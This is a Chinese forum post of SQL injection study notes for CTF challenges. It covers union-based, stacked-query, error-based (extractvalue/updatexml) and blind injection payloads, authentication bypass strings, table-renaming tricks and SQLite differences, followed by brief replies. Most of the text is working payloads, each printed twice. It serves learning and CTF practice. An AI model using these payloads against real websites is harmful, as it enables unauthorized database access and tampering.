首页
社区
课程
招聘
[原创]sql注入学习笔记
发表于: 2022-7-14 13:04 15097

[原创]sql注入学习笔记

2022-7-14 13:04
15097

首先来了解一下在CTF中最为常见的sql查询语句

这个语句的意图也非常明显,查询users数据表中的所有字段,看能否找到用户输入的用户名和对应的密码。
利用点也很明确,通过闭合单引号在该查询语句的基础上添加我们想要的查询语句(此即为sql注入)

下面对CTF中出现的一些常见考点做一个简单的梳理和总结

分为数字型,字符型

(以字符型注入为例)
查询sql版本

查询数据库名(把database放在回显点上):

查询数据表名:

查询字段名:

查询结果:

查询数据库:

查询数据表:

查询字段名(如果数据表名是数字形式,使用反引号):

堆叠查询没有直接读取字段值的方法,但是有时候可以通过

运用handler命令:

运用rename命令:

查询数据库:

查询数据表:

查询字段:

查询字段值(字段名和数据表名不需要单引号):

查询数据库名:

基于and的盲注payload:

基于if的盲注payload:

当正则匹配的黑名单修饰符没有i时

或:

table在某些情况下可以代替select

但值得注意的是,table在查询时,返回值为元组

注入payload:

以上是对于mysql的注入

当然还有不太常见但偶尔出现的sqlite注入,sqlite注入和mysql的注入大致上相同,值得注意的是一下几个区别

1.sqlite中查询版本号的函数时sqlite_version()

2.在sqlite中有一张叫sqlite_master的表,类似于mysql中的information.schema,用于存放数据表名,字段名等信息

3.在sqlite中并不支持#这个注释符,但可以用--等DDl中的注释符

虽然学会手注很重要,但是最方便的还是直接用sqlmap辣,一般在题目黑名单限制不多,形态比较常规的时候,可以直接扫到。

一键开扫:

post型注入(抓包):

获取数据库名:

获取数据表名:

获取字段名:

获取字段值:

以上就是俺在学习sql注入过程中做的一个小小的汇总
如有错误,写的不好的或需要补充的地方,希望路过的大佬们能不吝赐教

select * from users where username='$username' and password='$password';
select * from users where username='$username' and password='$password';
 
'or 1=1#
username=admin\&password=or 1;#  //通过斜杠转义单引号
'or 1=1#
username=admin\&password=or 1;#  //通过斜杠转义单引号
?id=-1'order by 1%23 //使用order by主要用于确定字段数
?id=1'union select 1,2,3%23
?id=-1'order by 1%23 //使用order by主要用于确定字段数
?id=1'union select 1,2,3%23
?id=-1'union select 1,version(),3%23
?id=-1'union select 1,version(),3%23
?id=-1'union select 1,database(),3%23
?id=-1'union select 1,database(),3%23
?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
?id=-1'union select 1,database(), group_concat(column_name) from information_schema.columns where table_name='(数据表名)'%23
?id=-1'union select 1,database(), group_concat(column_name) from information_schema.columns where table_name='(数据表名)'%23
?id=-1' union select (字段名),2 from 表名 %23
?id=-1' union select (字段名),2 from 表名 %23
1';show databases;%23
1';show databases;%23
1';show tables;%23
1';show tables;%23
1';show columns from (数据表名);%23
1';show columns from (数据表名);%23
1';handler (数据表) open;handler (数据表) read first;handler (数据表) close;%23
1';handler (数据表) open;handler (数据表) read first;handler (数据表) close;%23
1';rename tables `(默认表)` to `(新表)`;rename tables `(待查询的表)` to `(默认表)`; alter table `(默认表)` change `(待查询字段)` `(默认字段)` varchar(100);23
1';rename tables `(默认表)` to `(新表)`;rename tables `(待查询的表)` to `(默认表)`; alter table `(默认表)` change `(待查询字段)` `(默认字段)` varchar(100);23
id=a'and extractvalue(1,concat(0x7e,select(database())))%23
id=a'and extractvalue(1,concat(0x7e,select(database())))%23
id=a' and extractvalue(1,concat(0x7e,select(group_concat(table_name)from(information_schama.tables)where(table_schema)like('数据库名'))%23
id=a' and extractvalue(1,concat(0x7e,select(group_concat(table_name)from(information_schama.tables)where(table_schema)like('数据库名'))%23
id=a' and extractvalue(1,concat(0x7e,select(group_concat(column_name)from(information_schema.columns)where(table_name)like('数据表名'))))%23
id=a' and extractvalue(1,concat(0x7e,select(group_concat(column_name)from(information_schema.columns)where(table_name)like('数据表名'))))%23
id=a' and extractvalue(1,concat(0x7e,select(group_concat(字段名))from(数据表名)))%23
id=a' and extractvalue(1,concat(0x7e,select(group_concat(字段名))from(数据表名)))%23
id=a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23
id=a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23
id=1' and length(database())<5 %23
id=1' and length(database())<5 %23
?id=1' and (select ord(mid(group_concat(table_name),1,1))<97 information_schema.tables where table_schema=database()); %23
?id=1' and (select ord(mid(group_concat(table_name),1,1))<97 information_schema.tables where table_schema=database()); %23
1' and 表达式 and sleep(5)%23

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 7
支持
分享
打赏 + 80.00雪花
打赏次数 1 雪花 + 80.00
 
赞赏  Editor   +80.00 2022/07/28 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (3)
雪    币: 1552
活跃值: (1288)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
2
汇总的挺好
2022-7-25 16:50
0
雪    币: 2404
活跃值: (2557)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
3
感谢大佬的肯定
2022-7-25 18:54
0
雪    币: 6221
活跃值: (5660)
能力值: ( LV5,RANK:65 )
在线值:
发帖
回帖
粉丝
4
感谢分享,全是干货!
2022-7-28 18:53
0
游客
登录 | 注册 方可回帖
返回
//